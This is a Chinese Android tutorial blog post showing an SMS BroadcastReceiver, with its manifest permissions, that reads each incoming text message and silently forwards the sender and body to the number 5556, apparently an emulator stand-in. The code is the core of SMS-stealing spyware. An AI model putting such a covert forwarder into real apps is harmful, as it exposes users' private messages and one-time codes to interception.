zoukankan      html  css  js  c++  java
  • 短信监听器

    协议数据单元(Protocol Data Unit)pdu 
    package com.example.sms;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Bundle;
    import android.telephony.SmsManager;
    import android.telephony.SmsMessage;
    public class SmsReceiver extends BroadcastReceiver{
       @Override
       public void onReceive(Context context, Intent intent) {
          if("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())){
             Bundle bundle = intent.getExtras();
             Object[] obj = (Object[]) bundle.get("pdus");
             for (Object o : obj) {
                SmsMessage sms = SmsMessage.createFromPdu((byte[])o);
                String num = sms.getOriginatingAddress();
                String body = sms.getMessageBody();
                SmsManager manager = SmsManager.getDefault();
                manager.sendTextMessage("5556", null, num+"  "+body, null, null);
             }
          }
       }
    }

    清单文件:
    
        <uses-permission android:name="android.permission.RECEIVE_SMS" />
        <uses-permission android:name="android.permission.SEND_SMS" />
        //android 4.2 后废除了此action
        <receiver android:name="com.example.sms.SmsReceiver" >
           <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.provider.Telephony.SMS_SEND" />
            </intent-filter>
      </receiver>
    
  • 相关阅读:
    让PHP更快的提供文件下载
    thinkphp5接入QQ第三方登录
    tp5隐藏index.php
    thinkphp5 表达式
    后台无限级分类添加的实现方式
    PHP系统左侧菜单栏的管理与实现
    mongoDB基本命令
    Java基础-反射和注解
    Java基础-多线程
    Java基础-网络编程
  • 原文地址:https://www.cnblogs.com/loaderman/p/6416071.html
Copyright © 2011-2022 走看看